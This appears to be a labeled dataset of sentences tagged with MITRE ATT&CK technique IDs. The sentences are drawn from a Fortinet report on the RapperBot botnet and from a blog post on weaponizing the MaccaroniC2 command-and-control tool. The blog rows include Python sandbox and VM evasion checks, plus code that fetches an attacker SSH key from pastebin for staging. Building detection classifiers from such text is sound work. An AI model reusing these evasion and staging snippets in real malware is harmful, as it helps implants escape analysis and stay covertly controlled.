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With the several similarities between the two campaigns outlined below, we believe that either the same threat actor might be behind both campaigns or each campaign might have branched from the same privately-shared source code. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
The C2 commands and corresponding IDs are identical in both campaigns (excluding the Telnet-related commands, as those do not apply to RapperBot) Both campaigns show a certain degree of effort in optimizing the brute forcing implementation. | [
"T1110"
] | New RapperBot Campaign We Know What You Bruting for this Time |
Code for the brute forcing implementation is significantly more structured than typical IoT malware that copies and pastes code with minimal modifications. | [
"T1110"
] | New RapperBot Campaign We Know What You Bruting for this Time |
RapperBot also supported the TCP STOMP attack popularized by Mirai. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
This attack was not observed in the earlier campaigns mentioned above. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
However, as both Mirai and Satori source code are publicly available, this is considered a very weak link between the campaigns. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
If both campaigns were related, the reason for restarting an older campaign remains a mystery. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Conclusion Based on the undeniable similarities between this new campaign and the previously reported RapperBot campaign, it is highly likely that they are being operated by a single threat actor or by different threat actors with access to a privately-shared base source code. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Unlike the previous RapperBot campaign, this new campaign has a clear motivation to compromise as many IoT devices as possible to build a DDoS botnet. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Although this new campaign has evolved significantly from previous campaigns, mitigating it remains the same—setting strong passwords for all devices connected to the internet. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
FortiGuard Labs will continue to monitor RapperBot’s development. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Fortinet Protections The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai, Linux/Mirai, and ELF/Gafgyt. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
FortiGuard Labs provides the Rapper. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Botnet IPS signature against RapperBot C2 activity. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
The FortiGuard Web Filtering Service blocks the C2 servers and download URLs. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about host... | [] | New RapperBot Campaign We Know What You Bruting for this Time |
IOCs Files 3d5c5d9e792e0a5f3648438b7510b284f924ab433f08d558b6e082e1d5414a03 7afcac5f71e9205879e0e476d3388898a62e7aa4a3e4a059884f40ea36cfd57f 8ec79a35700f6691f0d88d53647e9f2b75648710ecd119e55815331fc3bdd0b5 a12ad4bc394d60bc037271e1c2df1bd2b87bdaaba85f6c1b7d046341f027cc2d f000bf482040b48595badee1fc56afb95449ac48b5dc35fe3... | [] | New RapperBot Campaign We Know What You Bruting for this Time |
Sign up to receive our threat research blogs. | [] | New RapperBot Campaign We Know What You Bruting for this Time |
2 0 DISCLAIMER – This article is provided for educational and informational purposes only. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The author and publisher of this article shall not be held responsible for any misuse or illegal activities conducted by individuals or entities based on the information provided. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Additionally, it’s important to note that the usage of Ngrok in conjunction with MaccaroniC2 tool may result in the violation of the terms of service or policies of certain platforms. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Introduction Embark on a journey into the intricate world of cyber attacks as we unravel paths taken by adversaries from malware creation to data exfiltration. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this comprehensive exploration, we delve into the stages that comprise the attack lifecycle, analyzing the process from infecting to exfiltration, with a particular focus on weaponization. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Presenting MaccaroniC2 In this article, we’ll explore MaccaroniC2 ( https://github.com/CalfCrusher/MaccaroniC2 ), a proof-of-concept Command & Control framework that leverages the versatile features of the AsyncSSH Python library ( https://asyncssh.readthedocs.io ) with the integration of PyNgrok, a wrapper for Ngrok (... | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This tool is designed to address a specific scenario where the victim operates an AsyncSSH server and establishes an external tunnel, eagerly awaiting commands from the attacker. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
By harnessing the powerful capabilities of the AsyncSSH library, which provides an exceptional implementation of the SSHv2 protocol, this tool ensures efficient and secure communication between the attacker and the victim. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Some key features of the AsyncSSH library include: Asynchronous Execution: AsyncSSH is built with asynchronous programming in mind, allowing you to perform SSH operations concurrently without blocking the execution flow. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
SSH Protocol Support: It provides support for various SSH protocol versions, including SSH1, SSH2, and the ability to negotiate and handle different encryption and authentication methods. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Key-Based Authentication: AsyncSSH supports public key authentication, allowing you to authenticate with SSH servers using key pairs instead of passwords. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
SFTP Support: It includes a built-in SFTP (SSH File Transfer Protocol) implementation, enabling you to securely transfer files between the local and remote systems over the SSH connection. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Event-driven API: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The library follows an event-driven programming model, allowing you to register event handlers and callbacks to handle SSH-related events such as connection establishment, authentication, command execution, and data transfer. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In a hardened network environment scenario, establishing a connection to an Ngrok server can be easily detected by EDR (Endpoint Detection and Response) systems and other tools designed to monitor network traffic. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
To avoid raising suspicion and maintaining a higher level of control over the server setup, it is recommended to use a self-hosted server instead of Ngrok. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Check the project: https://github.com/CalfCrusher/MaccaroniC2 Weaponizing malware: MaccaroniC2 with steroids In real-world scenarios, it is essential to embrace the mindset of a determined threat actor striving to enhance the effectiveness of their malware while maintaining covert operations. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
With this objective in mind, we will delve into custom modifications to the server side of MaccaroniC2, uncovering fundamental concepts that enable us to effectively weaponize our tool for diverse real-world scenarios. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Virtualization/Sandbox Evasion are those techniques utilized by adversaries as a part of their defense evasion strategy to detect and avoid virtualization and analysis environments, such as malware analysis sandboxes. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Sandbox evasion is indeed a complex and evolving field. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
While it’s not possible to cover all aspects of sandbox evasion in just a few lines of Python code, we’ll see some general basic techniques and concepts that can be used to try to recognize a sandbox or a virtual environment: | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
# Technique 1: Check for common sandbox-related processes sandbox_processes = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
["vmsrvc.exe", "vmusrvc.exe", "vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", "vmacthlp.exe", "vmtools.exe", "df5serv.exe"] running_processes = subprocess.check_output("tasklist", shell=True).decode().lower() | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This code essentially checks if certain processes that are commonly associated with sandbox environments or virtual machines are running. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This information can be helpful in determining whether the code is running in a protected or controlled environment rather than on a regular user’s machine. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
# Technique 3: Check if running in a sandboxed network environment sandboxed_networks = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
["10.0.2. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
", "192.168.44. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
", "172.16.0. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
", "172.16.1.", "172.16.2.", "172.16.3.", "172.16.4. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
", "172.16.5.", "172.16.6.", "172.16.7.", "172.16.8.", "172.16.9.", "172.16.10.", "172.16.11.", "172.16.12.", "172.16.13.", "172.16.14.", "172.16.15."] local_ip = socket.gethostbyname(socket.gethostname()) | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Here we can see how this code comparing the local IP address with a predefined list of network addresses typically associated with sandboxed environments. | [
"T1016"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
If the local IP address matches any of the addresses in the list, it suggests that the program could be ran in a sandboxed environment. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It’s just the first clue but we have to start somewhere ;). | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
# Technique 4: Check for virtualized CPU features cpu_info = cpuinfo.get_cpu_info() virtualized_cpu_features = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
["hypervisor", "vmx", "svm", "vmm", "nx"] if any(feature in cpu_info["flags"] for feature in virtualized_cpu_features): return True | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Here we can see another piece of code that checks for virtualization by examining the CPU features. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It uses the cpuinfo Python module to retrieve information about the CPU. | [
"T1082"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The code defines a list of virtualized CPU features and then checks if any of these features are present in the CPU information’s “flags” field. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
If any feature is found, the code returns True, indicating the presence of virtualization. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
# Technique 5: Check if disk size is greater than 50 GB min_disk_size_gb = 50 if len(sys.argv) > | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
1: min_disk_size_gb = float(sys.argv[1]) _, disk_size_bytes, _ = win32api. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
GetDiskFreeSpaceEx() disk_size_gb = disk_size_bytes / 1073741824 | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
if disk_size_gb > min_disk_size_gb: return False # Proceed else: return True # Not Proceed This code checks if the disk size is greater than a specified threshold (50 GB as example). | [
"T1082"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It uses the win32api. | [
"T1082",
"T1106"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
GetDiskFreeSpaceEx() function to retrieve the disk size in bytes. | [
"T1082",
"T1106"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It converts the size to gigabytes by dividing it by 1073741824 (the number of bytes in a gigabyte). | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
After comparing the disk size in gigabytes to the specified min_disk_size_gb, if the disk size is greater, the code returns False. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
However, if the disk size falls below the minimum threshold, it returns True, signaling that the script should stop from proceeding further because we assume that we’re inside a VM environment or a sandbox. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It should be noted that these techniques are basic examples and represent fundamental practices in the field of malware development and sandbox detection. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Let’s go further. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In MaccaroniC2 original tool, the SSH Pub Key is hardcoded. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
What about requesting it every time script is running ? | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this case we choose to host it online for multiple reasons: Usually, attackers employs techniques by leveraging third-party services such pastebin.com and similars, to store piece of code or stagers. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This method of operation, widely utilized by advanced threat actors, is a classic within the realm of Advanced Persistent Threats (APTs). | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
By employing multiple layers of staging, the attacker artfully conceals the true nature of the malware, placing it several steps removed from the initial infection. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
def get_pub_key(): """Get SSH pub key from third party service""" try: global PRIVATE_KEY global AUTHORIZED_KEY url = "https://pastebin.com/raw/XXXXXXX" r = requests.get(url) if r.status_code == 200: pub_key | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
= r.text.strip('\n') elif r.status_code == 404: exit() # | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
So Long, and Thanks for All the Fish! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
except: exit('[-] | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Error: Could not get SSH pub key') | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
As we can see, in this approach we take a different path by avoiding the hardcoding of the pub_key and instead harnessing the advantages provided by services such as pastebin.com, transfersh.com or similar services. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It offers flexibility in determining the number of allowed downloads and the duration for which files will be stored. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Additionally, some of these platforms even allow for modifying the content of generated URI, enhancing the adaptability and control over the shared resources. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
By embracing this approach, we could have the capability to generate fresh RSA key pairs, empowering our tool to download a different key in the subsequent system reboot. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This becomes particularly valuable when pursuing persistence objectives. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
To enhance control, we could also incorporate a dedicated function that checks for the removal of the pub_key: if such a detection occurs, then proceed to initiate the removal of its own presence or any existing persistence mechanisms. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Additionally, we could incorporate a special Canary Token within our script: Canary tokens are unique markers that are placed within systems or scripts to act as early warning indicators. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
They allow us to detect specific events or actions with an extensive range of options to create decoy assets, each designed to provide valuable intelligence and real-time notifications: from email alerts to webhook integrations and many other features for monitoring and security needs. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
For further information check official site: https://canarytokens.org/generate | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In our case, we could configure the script to perform a designated action if the URI is no longer accessible, such as notifying us if the file has been removed. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
When the script fails to download the id_rsa.pub key, it triggers a canary token, which generates a signal after encountering a 404 error status code. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this case we received an email alerting us of the event. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Dynamic and crypted AUTH Ngrok Token | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In MaccaroniC2 original tool, the Ngrok Auth Token is hardcoded also. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this scenario, we’ll apply a similar approach as before, but with a slight twist: we want to avoid publicly uploading our token in plain text. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
To achieve this, we’ll encrypt the token and upload it to a file-sharing service like transfersh.com The script will download and decrypt the string that represents the token. | [
"T1140"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This decryption process utilizes the Fernet algorithm, ensuring the secure retrieval and utilization of the token. | [
"T1140",
"T1573.001"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
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